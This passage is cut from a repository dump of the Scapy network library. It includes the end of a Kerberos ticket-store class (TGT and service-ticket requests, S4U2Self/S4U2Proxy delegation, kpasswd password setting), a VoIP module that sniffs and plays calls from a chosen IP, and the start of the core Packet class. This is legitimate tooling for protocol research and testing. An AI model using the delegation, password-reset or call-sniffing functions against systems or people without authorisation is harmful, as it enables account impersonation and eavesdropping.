fast = True\n            armor_ticket, armor_ticket_skey, armor_ticket_upn, _ = self.export_krb(\n                armor_with\n            )\n\n        res = krb_as_req(\n            upn=upn,\n            ip=ip,\n            key=key,\n            password=password,\n            realm=realm,\n            fast=fast,\n            armor_ticket=armor_ticket,\n            armor_ticket_upn=armor_ticket_upn,\n            armor_ticket_skey=armor_ticket_skey,\n            spn=spn,\n            x509=x509,\n            x509key=x509key,\n            p12=p12,\n            **kwargs,\n        )\n        if not res:\n            return\n\n        self.import_krb(res)\n\n    def request_st(\n        self,\n        i,\n        spn,\n        ip=None,\n        renew=False,\n        realm=None,\n        additional_tickets=None,\n        fast=False,\n        armor_with=None,\n        for_user=None,\n        s4u2proxy=None,\n        **kwargs,\n    ):\n        \"\"\"\n        Request a Kerberos TS and add it to the local CCache using another ticket.\n\n        :param i: the index of the ticket/sessionkey to use in the TGS request.\n        :param spn: the SPN to request a ticket for.\n        :param armor_with: the index of the ticket/sessionkey to armor this request.\n        :param s4u2proxy: if an index, the index of the additional ticket to send along\n                          a S4U2PROXY request. If True, it will use additional_tickets\n                          as usual.\n        :param for_user: if provided, requests S4U2SELF for that user.\n\n        See :func:`~scapy.layers.kerberos.krb_tgs_req` for the the other parameters.\n        \"\"\"\n        ticket, sessionkey, upn, _ = self.export_krb(i)\n\n        if additional_tickets is None:\n            additional_tickets = []\n\n        # If `armor_with` is specified, get the armor ticket from our store\n        armor_ticket, armor_ticket_skey, armor_ticket_upn = None, None, None\n        if armor_with is not None:\n            fast = True\n            armor_ticket, armor_ticket_skey, armor_ticket_upn, _ = self.export_krb(\n                armor_with\n            )\n\n        # If `s4u2proxy` is an index, get the ticket to armor with\n        if isinstance(s4u2proxy, int):\n            additional_tickets.append(self.export_krb(s4u2proxy)[0])\n            s4u2proxy = True\n\n        res = krb_tgs_req(\n            upn,\n            spn,\n            sessionkey=sessionkey,\n            ticket=ticket,\n            ip=ip,\n            renew=renew,\n            realm=realm,\n            s4u2proxy=s4u2proxy,\n            additional_tickets=additional_tickets,\n            fast=fast,\n            for_user=for_user,\n            armor_ticket=armor_ticket,\n            armor_ticket_upn=armor_ticket_upn,\n            armor_ticket_skey=armor_ticket_skey,\n            **kwargs,\n        )\n        if not res:\n            return\n\n        self.import_krb(res)\n\n    def kpasswdset(self, i, targetupn=None, newpassword=None):\n        \"\"\"\n        Use kpasswd in 'Set Password' mode to set the password of an account.\n\n        :param i: the TGT to use.\n        \"\"\"\n        ticket, sessionkey, upn, _ = self.export_krb(i)\n        kpasswd(\n            upn=upn,\n            targetupn=targetupn,\n            setpassword=True,\n            ticket=ticket,\n            key=sessionkey,\n            newpassword=newpassword,\n        )\n\n    def renew(self, i, ip=None, additional_tickets=[], **kwargs):\n        \"\"\"\n        Renew a Kerberos TGT or a TS from the local CCache using a TGS-REQ\n\n        :param i: the ticket/sessionkey to renew.\n        \"\"\"\n        ticket, sessionkey, upn, spn = self.export_krb(i)\n\n        res = krb_tgs_req(\n            upn,\n            spn,\n            sessionkey=sessionkey,\n            ticket=ticket,\n            ip=ip,\n            renew=True,\n            additional_tickets=additional_tickets,\n            **kwargs,\n        )\n        if not res:\n            return\n\n        self.import_krb(res, _inplace=i)\n\n    def enumerate_tickets(self):\n        \"\"\"\n        Enumerate through the tickets in the ccache\n        \"\"\"\n        for i, cred in enumerate(self.ccache.credentials):\n            if cred.is_xcacheconf():\n                continue\n            yield i, self.export_krb(i)\n\n    def iter_tickets(self):\n        \"\"\"\n        Iterate through the tickets in the ccache\n        \"\"\"\n        for _, tkt in self.enumerate_tickets():\n            yield tkt\n"
  },
  {
    "path": "scapy/modules/voip.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nVoIP (Voice over IP) related functions\n\"\"\"\n\nimport subprocess\n###################\n#   Listen VoIP   #\n###################\n\nfrom scapy.sendrecv import sniff\nfrom scapy.layers.inet import IP, UDP\nfrom scapy.layers.rtp import RTP\nfrom scapy.consts import WINDOWS\nfrom scapy.config import conf\n\n\nsox_base = ([\"sox\", \"-t\", \".ul\"], [\"-\", \"-t\", \"ossdsp\", \"/dev/dsp\"])\n\nif WINDOWS:\n    if conf.prog.sox is None:\n        raise OSError(\"Sox must be installed to play VoIP packets\")\n    sox_base = ([conf.prog.sox, \"-t\", \".ul\"], [\"-\", \"-t\", \"waveaudio\"])\n\n\ndef _merge_sound_bytes(x, y, sample_size=2):\n    # TODO: find a better way to merge sound bytes\n    # This will only add them one next to each other:\n    # \\xff + \\xff ==> \\xff\\xff\n    m = \"\"\n    ss = sample_size\n    min_ = 0\n    if len(x) >= len(y):\n        min_ = y\n    elif len(x) < len(y):\n        min_ = x\n    r_ = len(min_)\n    for i in range(r_ / ss):\n        m += x[ss * i:ss * (i + 1)] + y[ss * i:ss * (i + 1)]\n    return x[r_:], y[r_:], m\n\n\ndef voip_play(s1, lst=None, **kargs):\n    \"\"\"Play VoIP packets with RAW data that\n    are either sniffed either from an IP, or\n    specified as a list.\n\n    It will play only the incoming packets !\n\n    :param s1: The IP of the src of all VoIP packets.\n    :param lst: (optional) A list of packets to load\n    :type s1: string\n    :type lst: list\n\n    :Example:\n\n    >>> voip_play(\"64.2.142.189\")\n    while calling '411@ideasip.com'\n\n    >>> voip_play(\"64.2.142.189\", lst)\n    with list a list of packets with VoIP data\n    in their RAW layer\n\n    .. seealso:: voip_play2\n    to play both the outcoming and incoming packets\n    at the same time.\n\n    .. seealso:: voip_play3\n    to read RTP VoIP packets\n    \"\"\"\n\n    proc = subprocess.Popen(sox_base[0] + sox_base[1], stdin=subprocess.PIPE,\n                            stdout=subprocess.PIPE)\n    dsp, rd = proc.stdin, proc.stdout\n\n    def play(pkt):\n        if not pkt:\n            return\n        if not pkt.haslayer(UDP) or not pkt.haslayer(IP):\n            return\n        ip = pkt.getlayer(IP)\n        if s1 == ip.src:\n            dsp.write(pkt.getlayer(conf.raw_layer).load[12:])\n    try:\n        if lst is None:\n            sniff(store=0, prn=play, **kargs)\n        else:\n            for p in lst:\n                play(p)\n    finally:\n        dsp.close()\n        rd.close()\n\n\ndef voip_play1(s1, lst=None, **kargs):\n    \"\"\"Same than voip_play, backward compatibility\n    \"\"\"\n    return voip_play(s1, lst, **kargs)\n\n\ndef voip_play2(s1, **kargs):\n    \"\"\"\n    Same than voip_play, but will play\n    both incoming and outcoming packets.\n    The sound will surely suffer distortion.\n\n    Only supports sniffing.\n\n    .. seealso:: voip_play\n    to play only incoming packets.\n    \"\"\"\n    proc = subprocess.Popen(sox_base[0] + [\"-c\", \"2\"] + sox_base[1],\n                            stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n    dsp, rd = proc.stdin, proc.stdout\n    global x1, x2\n    x1 = \"\"\n    x2 = \"\"\n\n    def play(pkt):\n        global x1, x2\n        if not pkt:\n            return\n        if not pkt.haslayer(UDP) or not pkt.haslayer(IP):\n            return\n        ip = pkt.getlayer(IP)\n        if s1 in [ip.src, ip.dst]:\n            if ip.dst == s1:\n                x1 += pkt.getlayer(conf.raw_layer).load[12:]\n            else:\n                x2 += pkt.getlayer(conf.raw_layer).load[12:]\n            x1, x2, r = _merge_sound_bytes(x1, x2)\n            dsp.write(r)\n\n    try:\n        sniff(store=0, prn=play, **kargs)\n    finally:\n        try:\n            dsp.close()\n            rd.close()\n        except Exception:\n            pass\n\n\ndef voip_play3(lst=None, **kargs):\n    \"\"\"Same than voip_play, but made to\n    read and play VoIP RTP packets, without\n    checking IP.\n\n    .. seealso:: voip_play\n    for basic VoIP packets\n    \"\"\"\n    proc = subprocess.Popen(sox_base[0] + sox_base[1], stdin=subprocess.PIPE,\n                            stdout=subprocess.PIPE)\n    dsp, rd = proc.stdin, proc.stdout\n\n    def play(pkt, dsp=dsp):\n        if pkt and pkt.haslayer(UDP) and pkt.haslayer(RTP):\n            dsp.write(pkt.getlayer(RTP).load)\n    try:\n        if lst is None:\n            sniff(store=0, prn=play, **kargs)\n        else:\n            for p in lst:\n                play(p)\n    finally:\n        try:\n            dsp.close()\n            rd.close()\n        except Exception:\n            pass\n"
  },
  {
    "path": "scapy/packet.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nPacket class\n\nProvides:\n - the default Packet classes\n - binding mechanisms\n - fuzz() method\n - exploration methods: explore() / ls()\n\"\"\"\n\nfrom collections import defaultdict\n\nimport json\nimport re\nimport time\nimport itertools\nimport copy\nimport types\nimport warnings\n\nfrom scapy.fields import (\n    AnyField,\n    BitField,\n    ConditionalField,\n    Emph,\n    EnumField,\n    Field,\n    FlagsField,\n    FlagValue,\n    MayEnd,\n    MultiEnumField,\n    MultipleTypeField,\n    PadField,\n    PacketListField,\n    RawVal,\n    StrField,\n)\nfrom scapy.config import conf, _version_checker\nfrom scapy.compat import raw, orb, bytes_encode\nfrom scapy.base_classes import BasePacket, Gen, SetGen, Packet_metaclass, \\\n    _CanvasDumpExtended\nfrom scapy.interfaces import _GlobInterfaceType\nfrom scapy.volatile import RandField, VolatileValue\nfrom scapy.utils import import_hexcap, tex_escape, colgen, issubtype, \\\n    pretty_list, EDecimal\nfrom scapy.error import Scapy_Exception, log_runtime, warning\nfrom scapy.libs.test_pyx import PYX\n\n# Typing imports\nfrom typing import (\n    Any,\n    Callable,\n    Dict,\n    Iterator,\n    List,\n    NoReturn,\n    Optional,\n    Set,\n    Tuple,\n    Type,\n    TypeVar,\n    Union,\n    Sequence,\n    cast,\n)\nfrom scapy.compat import Self\n\ntry:\n    import pyx\nexcept ImportError:\n    pass\n\n\n_T = TypeVar(\"_T\", Dict[str, Any], Optional[Dict[str, Any]])\n\n\nclass Packet(\n    BasePacket,\n    _CanvasDumpExtended,\n    metaclass=Packet_metaclass\n):\n    __slots__ = [\n        \"time\", \"sent_time\", \"name\",\n        \"default_fields\", \"fields\", \"fieldtype\",\n        \"overload_fields\", \"overloaded_fields\",\n        \"packetfields\",\n        \"original\", \"explicit\", \"raw_packet_cache\",\n        \"raw_packet_cache_fields\", \"_pkt\", \"post_transforms\",\n        \"stop_dissection_after\",\n        # then payload, underlayer and parent\n        \"payload\", \"underlayer\", \"parent\",\n        \"name\",\n        # used for sr()\n        \"_answered\",\n        # used when sniffing\n        \"direction\", \"sniffed_on\",\n        # handle snaplen Vs real length\n        \"wirelen\",\n        \"comments\",\n        \"process_information\"\n    ]\n    name = None\n    fields_desc = []  # type: List[AnyField]\n    deprecated_fields = {}  # type: Dict[str, Tuple[str, str]]\n    overload_fields = {}  # type: Dict[Type[Packet], Dict[str, Any]]\n    payload_guess = []  # type: List[Tuple[Dict[str, Any], Type[Packet]]]\n    show_indent = 1\n    show_summary = True\n    match_subclass = False\n    class_dont_cache = {}  # type: Dict[Type[Packet], bool]\n    class_packetfields = {}  # type: Dict[Type[Packet], Any]\n    class_default_fields = {}  # type: Dict[Type[Packet], Dict[str, Any]]\n    class_default_fields_ref = {}  # type: Dict[Type[Packet], List[str]]\n    class_fieldtype = {}  # type: Dict[Type[Packet], Dict[str, AnyField]]  # noqa: E501\n\n    @classmethod\n    def from_hexcap(cls):\n        # type: (Type[Packet]) -> Packet\n        return cls(import_hexcap())\n\n    @classmethod\n    def upper_bonds(self):\n        # type: () -> None\n        for fval, upper in self.payload_guess:\n            print(\n                \"%-20s  %s\" % (\n                    upper.__name__,\n                    \", \".join(\"%-12s\" % (\"%s=%r\" % i) for i in fval.items()),\n                )\n            )\n\n    @classmethod\n    def lower_bonds(self):\n        # type: () -> None\n        for lower, fval in self._overload_fields.items():\n            print(\n                \"%-20s  %s\" % (\n                    lower.__name__,\n                    \", \".join(\"%-12s\" % (\"%s=%r\" % i) for i in fval.items()),\n                )\n            )\n\n    def __init__(self,\n                 _pkt=b\"\",  # type: Union[bytes, bytearray]\n                 post_transform=None,  # type: Any\n                 _internal=0,  # type: int\n                 _underlayer=None,  # type: Optional[Packet]\n                 _parent=None,  # type: Optional[Packet]\n                 stop_dissection_after=None,  # type: Optional[Type[Packet]]\n                 **fields  # type: Any\n                 ):\n        # type: (...) -> None\n        self.time = time.time()  # type: Union[EDecimal, float]\n        self.sent_time = None  # type: Union[EDecimal, float, None]\n        self.name = (self.__class__.__name__\n                     if self._name is None else\n                     self._name)\n        self.default_fields = {}  # type: Dict[str, Any]\n        self.overload_fields = self._overload_fields\n        self.overloaded_fields = {}  # type: Dict[str, Any]\n        self.fields = {}  # type: Dict[str, Any]\n        self.fieldtype = {}  # type: Dict[str, AnyField]\n        self.packetfields = []  # type: List[AnyField]\n        self.payload = NoPayload()  # type: Packet\n        self.init_fields(bool(_pkt))\n        self.underlayer = _underlayer\n        self.parent = _parent\n        if isinstance(_pkt, bytearray):\n            _pkt = bytes(_pkt)\n        self.original = _pkt\n        self.explicit = 0\n        self.raw_packet_cache = None  # type: Optional[bytes]\n        self.raw_packet_cache_fields = None  # type: Optional[Dict[str, Any]]  # noqa: E501\n        self.wirelen = None  # type: Optional[int]\n        self.direction = None  # type: Optional[int]\n        self.sniffed_on = None  # type: Optional[_GlobInterfaceType]\n        self.comments = None  # type: Optional[List[bytes]]\n        self.process_information = None  # type: Optional[Dict[str, Any]]\n        self.stop_dissection_after = stop_dissection_after\n        if _pkt:\n            self.dissect(_pkt)\n            if not _internal:\n                self.dissection_done(self)\n        # We use this strange initialization so that the fields\n        # are initialized in their declaration order.\n        # It is required to always support MultipleTypeField\n        for field in self.fields_desc:\n            fname = field.name\n            try:\n                value = fields.pop(fname)\n            except KeyError:\n                continue\n            self.fields[fname] = value if isinstance(value, RawVal) else \\\n                self.get_field(fname).any2i(self, value)\n        # The remaining fields are unknown\n        for fname in fields:\n            if fname in self.deprecated_fields:\n                # Resolve deprecated fields\n                value = fields[fname]\n                fname = self._resolve_alias(fname)\n                self.fields[fname] = value if isinstance(value, RawVal) else \\\n                    self.get_field(fname).any2i(self, value)\n                continue\n            raise AttributeError(fname)\n        if isinstance(post_transform, list):\n            self.post_transforms = post_transform\n        elif post_transform is None:\n            self.post_transforms = []\n        else:\n            self.post_transforms = [post_transform]\n\n    _PickleType = Tuple[\n        Union[EDecimal, float],\n        Optional[Union[EDecimal, float, None]],\n        Optional[int],\n        Optional[_GlobInterfaceType],\n        Optional[int],\n        Optional[bytes],\n    ]\n\n    @property\n    def comment(self):\n        # type: () -> Optional[bytes]\n        \"\"\"Get the comment of the packet\"\"\"\n        if self.comments and len(self.comments):\n            return self.comments[0]\n        return None\n\n    @comment.setter\n    def comment(self, value):\n        # type: (Optional[bytes]) -> None\n        \"\"\"\n        Set the comment of the packet.\n        If value is None, it will clear the comments.\n        \"\"\"\n        if value is not None:\n            self.comments = [value]\n        else:\n            self.comments = None\n\n    def __reduce__(self):\n        # type: () -> Tuple[Type[Packet], Tuple[bytes], Packet._PickleType]\n        \"\"\"Used by pickling methods\"\"\"\n        return (self.__class__, (self.build(),), (\n            self.time,\n            self.sent_time,\n            self.direction,\n            self.sniffed_on,\n            self.wirelen,\n            self.comment\n        ))\n\n    def __setstate__(self, state):\n        # type: (Packet._PickleType) -> Packet\n        \"\"\"Rebuild state using pickable methods\"\"\"\n        self.time = state[0]\n        self.sent_time = state[1]\n        self.direction = state[2]\n        self.sniffed_on = state[3]\n        self.wirelen = state[4]\n        self.comment = state[5]\n        return self\n\n    def __deepcopy__(self,\n                     memo,  # type: Any\n                     ):\n        # type: (...) -> Packet\n        \"\"\"Used by copy.deepcopy\"\"\"\n        return self.copy()\n\n    def init_fields(self, for_dissect_only=False):\n        # type: (bool) -> None\n        \"\"\"\n        Initialize each fields of the fields_desc dict\n        \"\"\"\n\n        if self.class_dont_cache.get(self.__class__, False):\n            self.do_init_fields(self.fields_desc)\n        else:\n            self.do_init_cached_fields(for_dissect_only=for_dissect_only)\n\n    def do_init_fields(self,\n                       flist,  # type: Sequence[AnyField]\n                       ):\n        # type: (...) -> None\n        \"\"\"\n        Initialize each fields of the fields_desc dict\n        \"\"\"\n        default_fields = {}\n        for f in flist:\n            default_fields[f.name] = copy.deepcopy(f.default)\n            self.fieldtype[f.name] = f\n            if f.holds_packets:\n                self.packetfields.append(f)\n        # We set default_fields last to avoid race issues\n        self.default_fields = default_fields\n\n    def do_init_cached_fields(self, for_dissect_only=False):\n        # type: (bool) -> None\n        \"\"\"\n        Initialize each fields of the fields_desc dict, or use the cached\n        fields information\n        \"\"\"\n\n        cls_name = self.__class__\n\n        # Build the fields information\n        if Packet.class_default_fields.get(cls_name, None) is None:\n            self.prepare_cached_fields(self.fields_desc)\n\n        # Use fields information from cache\n        default_fields = Packet.class_default_fields.get(cls_name, None)\n        if default_fields:\n            self.default_fields = default_fields\n            self.fieldtype = Packet.class_fieldtype[cls_name]\n            self.packetfields = Packet.class_packetfields[cls_name]\n\n            # Optimization: no need for references when only dissecting.\n            if for_dissect_only:\n                return\n\n            # Deepcopy default references\n            for fname in Packet.class_default_fields_ref[cls_name]:\n                value = self.default_fields[fname]\n                try:\n                    self.fields[fname] = value.copy()\n                except AttributeError:\n                    # Python 2.7 - list only\n                    self.fields[fname] = value[:]\n\n    def prepare_cached_fields(self, flist):\n        # type: (Sequence[AnyField]) -> None\n        \"\"\"\n        Prepare the cached fields of the fields_desc dict\n        \"\"\"\n\n        cls_name = self.__class__\n\n        # Fields cache initialization\n        if not flist:\n            return\n\n        class_default_fields = dict()\n        class_default_fields_ref = list()\n        class_fieldtype = dict()\n        class_packetfields = list()\n\n        # Fields initialization\n        for f in flist:\n            if isinstance(f, MultipleTypeField):\n                # Abort\n                self.class_dont_cache[cls_name] = True\n                self.do_init_fields(self.fields_desc)\n                return\n\n            class_default_fields[f.name] = copy.deepcopy(f.default)\n            class_fieldtype[f.name] = f\n            if f.holds_packets:\n                class_packetfields.append(f)\n\n            # Remember references\n            if isinstance(f.default, (list, dict, set, RandField, Packet)):\n                class_default_fields_ref.append(f.name)\n\n        # Apply\n        Packet.class_default_fields_ref[cls_name] = class_default_fields_ref\n        Packet.class_fieldtype[cls_name] = class_fieldtype\n        Packet.class_packetfields[cls_name] = class_packetfields\n        # Last to avoid racing issues\n        Packet.class_default_fields[cls_name] = class_default_fields\n\n    def dissection_done(self, pkt):\n        # type: (Packet) -> None\n        \"\"\"DEV: will be called after a dissection is completed\"\"\"\n        self.post_dissection(pkt)\n        self.payload.dissection_done(pkt)\n\n    def post_dissection(self, pkt):\n        # type: (Packet) -> None\n        \"\"\"DEV: is called after the dissection of the whole packet\"\"\"\n        pass\n\n    def get_field(self, fld):\n        # type: (str) -> AnyField\n        \"\"\"DEV: returns the field instance from the name of the field\"\"\"\n        return self.fieldtype[fld]\n\n    def add_payload(self, payload):\n        # type: (Union[Packet, bytes]) -> None\n        if payload is None:\n            return\n        elif not isinstance(self.payload, NoPayload):\n            self.payload.add_payload(payload)\n        else:\n            if isinstance(payload, Packet):\n                self.payload = payload\n                payload.add_underlayer(self)\n                for t in self.aliastypes:\n                    if t in payload.overload_fields:\n                        self.overloaded_fields = payload.overload_fields[t]\n                        break\n            elif isinstance(payload, (bytes, str, bytearray, memoryview)):\n                self.payload = conf.raw_layer(load=bytes_encode(payload))\n            else:\n                raise TypeError(\"payload must be 'Packet', 'bytes', 'str', 'bytearray', or 'memoryview', not [%s]\" % repr(payload))  # noqa: E501\n\n    def remove_payload(self):\n        # type: () -> None\n        self.payload.remove_underlayer(self)\n        self.payload = NoPayload()\n        self.overloaded_fields = {}\n\n    def add_underlayer(self, underlayer):\n        # type: (Packet) -> None\n        self.underlayer = underlayer\n\n    def remove_underlayer(self, other):\n        # type: (Packet) -> None\n        self.underlayer = None\n\n    def add_parent(self, parent):\n        # type: (Packet) -> None\n        \"\"\"Set packet parent.\n        When packet is an element in PacketListField, parent field would\n        point to the list owner packet.\"\"\"\n        self.parent = parent\n\n    def remove_parent(self, other):\n        # type: (Packet) -> None\n        \"\"\"Remove packet parent.\n        When packet is an element in PacketListField, parent field would\n        point to the list owner packet.\"\"\"\n        self.parent = None\n\n    def copy(self) -> Self:\n        \"\"\"Returns a deep copy of the instance.\"\"\"\n        clone = self.__class__()\n        clone.fields = self.copy_fields_dict(self.fields)\n        clone.default_fields = self.copy_fields_dict(self.default_fields)\n        clone.overloaded_fields = self.overloaded_fields.copy()\n        clone.underlayer = self.underlayer\n        clone.parent = self.parent\n        clone.explicit = self.explicit\n        clone.raw_packet_cache = self.raw_packet_cache\n        clone.raw_packet_cache_fields = self.copy_fields_dict(\n            self.raw_packet_cache_fields\n        )\n        clone.wirelen = self.wirelen\n        clone.post_transforms = self.post_transforms[:]\n        clone.payload = self.payload.copy()\n        clone.payload.add_underlayer(clone)\n        clone.time = self.time\n        clone.comments = self.comments\n        clone.direction = self.direction\n        clone.sniffed_on = self.sniffed_on\n        return clone\n\n    def _resolve_alias(self, attr):\n        # type: (str) -> str\n        new_attr, version = self.deprecated_fields[attr]\n        warnings.warn(\n            \"%s has been deprecated in favor of %s since %s !\" % (\n                attr, new_attr, version\n            ), DeprecationWarning\n        )\n        return new_attr\n\n    def getfieldval(self, attr):\n        # type: (str) -> Any\n        if self.deprecated_fields and attr in self.deprecated_fields:\n            attr = self._resolve_alias(attr)\n        if attr in self.fields:\n            return self.fields[attr]\n        if attr in self.overloaded_fields:\n            return self.overloaded_fields[attr]\n        if attr in self.default_fields:\n            return self.default_fields[attr]\n        return self.payload.getfieldval(attr)\n\n    def getfield_and_val(self, attr):\n        # type: (str) -> Tuple[AnyField, Any]\n        if self.deprecated_fields and attr in self.deprecated_fields:\n            attr = self._resolve_alias(attr)\n        if attr in self.fields:\n            return self.get_field(attr), self.fields[attr]\n        if attr in self.overloaded_fields:\n            return self.get_field(attr), self.overloaded_fields[attr]\n        if attr in self.default_fields:\n            return self.get_field(attr), self.default_fields[attr]\n        raise ValueError\n\n    def __getattr__(self, attr):\n        # type: (str) -> Any\n        try:\n            fld, v = self.getfield_and_val(attr)\n        except ValueError:\n            return self.payload.__getattr__(attr)\n        if fld is not None:\n            return v if isinstance(v, RawVal) else fld.i2h(self, v)\n        return v\n\n    def setfieldval(self, attr, val):\n        # type: (str, Any) -> None\n        if self.deprecated_fields and attr in self.deprecated_fields:\n            attr = self._resolve_alias(attr)\n        if attr in self.default_fields:\n            fld = self.get_field(attr)\n            if fld is None:\n                any2i = lambda x, y: y  # type: Callable[..., Any]\n            else:\n                any2i = fld.any2i\n            self.fields[attr] = val if isinstance(val, RawVal) else \\\n                any2i(self, val)\n            self.explicit = 0\n            self.raw_packet_cache = None\n            self.raw_packet_cache_fields = None\n            self.wirelen = None\n        elif attr == \"payload\":\n            self.remove_payload()\n            self.add_payload(val)\n        else:\n            self.payload.setfieldval(attr, val)\n\n    def __setattr__(self, attr, val):\n        # type: (str, Any) -> None\n        if attr in self.__all_slots__:\n            return object.__setattr__(self, attr, val)\n        try:\n            return self.setfieldval(attr, val)\n        except AttributeError:\n            pass\n        return object.__setattr__(self, attr, val)\n\n    def delfieldval(self, attr):\n        # type: (str) -> None\n        if attr in self.fields:\n            del self.fields[attr]\n            self.explicit = 0  # in case a default value must be explicit\n            self.raw_packet_cache = None\n            self.raw_packet_cache_fields = None\n            self.wirelen = None\n        elif attr in self.default_fields:\n            pass\n        elif attr == \"payload\":\n            self.remove_payload()\n        else:\n            self.payload.delfieldval(attr)\n\n    def __delattr__(self, attr):\n        # type: (str) -> None\n        if attr == \"payload\":\n            return self.remove_payload()\n        if attr in self.__all_slots__:\n            return object.__delattr__(self, attr)\n        try:\n            return self.delfieldval(attr)\n        except AttributeError:\n            pass\n        return object.__delattr__(self, attr)\n\n    def _superdir(self):\n        # type: () -> Set[str]\n        \"\"\"\n        Return a list of slots and methods, including those from subclasses.\n        \"\"\"\n        attrs = set()  # type: Set[str]\n        cls = self.__class__\n        if hasattr(cls, '__all_slots__'):\n            attrs.update(cls.__all_slots__)\n        for bcls in cls.__mro__:\n            if hasattr(bcls, '__dict__'):\n                attrs.update(bcls.__dict__)\n        return attrs\n\n    def __dir__(self):\n        # type: () -> List[str]\n        \"\"\"\n        Add fields to tab completion list.\n        \"\"\"\n        return sorted(itertools.chain(self._superdir(), self.default_fields))\n\n    def __repr__(self):\n        # type: () -> str\n        s = \"\"\n        ct = conf.color_theme\n        for f in self.fields_desc:\n            if isinstance(f, ConditionalField) and not f._evalcond(self):\n                continue\n            if f.name in self.fields:\n                fval = self.fields[f.name]\n                if isinstance(fval, (list, dict, set)) and len(fval) == 0:\n                    continue\n                val = f.i2repr(self, fval)\n            elif f.name in self.overloaded_fields:\n                fover = self.overloaded_fields[f.name]\n                if isinstance(fover, (list, dict, set)) and len(fover) == 0:\n                    continue\n                val = f.i2repr(self, fover)\n            else:\n                continue\n            if isinstance(f, Emph) or f in conf.emph:\n                ncol = ct.emph_field_name\n                vcol = ct.emph_field_value\n            else:\n                ncol = ct.field_name\n                vcol = ct.field_value\n\n            s += \" %s%s%s\" % (ncol(f.name),\n                              ct.punct(\"=\"),\n                              vcol(val))\n        return \"%s%s %s %s%s%s\" % (ct.punct(\"<\"),\n                                   ct.layer_name(self.__class__.__name__),\n                                   s,\n                                   ct.punct(\"|\"),\n                                   repr(self.payload),\n                                   ct.punct(\">\"))\n\n    def __str__(self):\n        # type: () -> str\n        return self.summary()\n\n    def __bytes__(self):\n        # type: () -> bytes\n        return self.build()\n\n    def __div__(self, other):\n        # type: (Any) -> Self\n        if isinstance(other, Packet):\n            cloneA = self.copy()\n            cloneB = other.copy()\n            cloneA.add_payload(cloneB)\n            return cloneA\n        elif isinstance(other, (bytes, str, bytearray, memoryview)):\n            return self / conf.raw_layer(load=bytes_encode(other))\n        else:\n            return other.__rdiv__(self)  # type: ignore\n    __truediv__ = __div__\n\n    def __rdiv__(self, other):\n        # type: (Any) -> Packet\n        if isinstance(other, (bytes, str, bytearray, memoryview)):\n            return conf.raw_layer(load=bytes_encode(other)) / self\n        else:\n            raise TypeError\n    __rtruediv__ = __rdiv__\n\n    def __mul__(self, other):\n        # type: (Any) -> List[Packet]\n        if isinstance(other, int):\n            return [self] * other\n        else:\n            raise TypeError\n\n    def __rmul__(self, other):\n        # type: (Any) -> List[Packet]\n        return self.__mul__(other)\n\n    def __nonzero__(self):\n        # type: () -> bool\n        return True\n    __bool__ = __nonzero__\n\n    def __len__(self):\n        # type: () -> int\n        return len(self.__bytes__())\n\n    def copy_field_value(self, fieldname, value):\n        # type: (str, Any) -> Any\n        return self.get_field(fieldname).do_copy(value)\n\n    def copy_fields_dict(self, fields):\n        # type: (_T) -> _T\n        if fields is None:\n            return None\n        return {fname: self.copy_field_value(fname, fval)\n                for fname, fval in fields.items()}\n\n    def _raw_packet_cache_field_value(self, fld, val, copy=False):\n        # type: (AnyField, Any, bool) -> Optional[Any]\n        \"\"\"Get a value representative of a mutable field to detect changes\"\"\"\n        _cpy = lambda x: fld.do_copy(x) if copy else x  # type: Callable[[Any], Any]\n        if fld.holds_packets:\n            # avoid copying whole packets (perf: #GH3894)\n            if fld.islist:\n                return [\n                    (_cpy(x.fields), x.payload.raw_packet_cache) for x in val\n                ]\n            else:\n                return (_cpy(val.fields), val.payload.raw_packet_cache)\n        elif fld.islist or fld.ismutable:\n            return _cpy(val)\n        return None\n\n    def clear_cache(self):\n        # type: () -> None\n        \"\"\"Clear the raw packet cache for the field and all its subfields\"\"\"\n        self.raw_packet_cache = None\n        for fname, fval in self.fields.items():\n            fld = self.get_field(fname)\n            if fld.holds_packets:\n                if isinstance(fval, Packet):\n                    fval.clear_cache()\n                elif isinstance(fval, list):\n                    for fsubval in fval:\n                        fsubval.clear_cache()\n        self.payload.clear_cache()\n\n    def self_build(self):\n        # type: () -> bytes\n        \"\"\"\n        Create the default layer regarding fields_desc dict\n        \"\"\"\n        if self.raw_packet_cache is not None and \\\n                self.raw_packet_cache_fields is not None:\n            for fname, fval in self.raw_packet_cache_fields.items():\n                fld, val = self.getfield_and_val(fname)\n                if self._raw_packet_cache_field_value(fld, val) != fval:\n                    self.raw_packet_cache = None\n                    self.raw_packet_cache_fields = None\n                    self.wirelen = None\n                    break\n            if self.raw_packet_cache is not None:\n                return self.raw_packet_cache\n        p = b\"\"\n        for f in self.fields_desc:\n            val = self.getfieldval(f.name)\n            if isinstance(val, RawVal):\n                p += bytes(val)\n            else:\n                try:\n                    p = f.addfield(self, p, val)\n                except Exception as ex:\n                    try:\n                        ex.args = (\n                            \"While building field '%s': \" % f.name +\n                            ex.args[0],\n                        ) + ex.args[1:]\n                    except (AttributeError, IndexError):\n                        pass\n                    raise ex\n        return p\n\n    def do_build_payload(self):\n        # type: () -> bytes\n        \"\"\"\n        Create the default version of the payload layer\n\n        :return: a string of payload layer\n        \"\"\"\n        return self.payload.do_build()\n\n    def do_build(self):\n        # type: () -> bytes\n        \"\"\"\n        Create the default version of the layer\n\n        :return: a string of the packet with the payload\n        \"\"\"\n        if not self.explicit:\n            self = next(iter(self))\n        pkt = self.self_build()\n        for t in self.post_transforms:\n            pkt = t(pkt)\n        pay = self.do_build_payload()\n        if self.raw_packet_cache is None:\n            return self.post_build(pkt, pay)\n        else:\n            return pkt + pay\n\n    def build_padding(self):\n        # type: () -> bytes\n        return self.payload.build_padding()\n\n    def build(self):\n        # type: () -> bytes\n        \"\"\"\n        Create the current layer\n\n        :return: string of the packet with the payload\n        \"\"\"\n        p = self.do_build()\n        p += self.build_padding()\n        p = self.build_done(p)\n        return p\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        \"\"\"\n        DEV: called right after the current layer is build.\n\n        :param str pkt: the current packet (build by self_build function)\n        :param str pay: the packet payload (build by do_build_payload function)\n        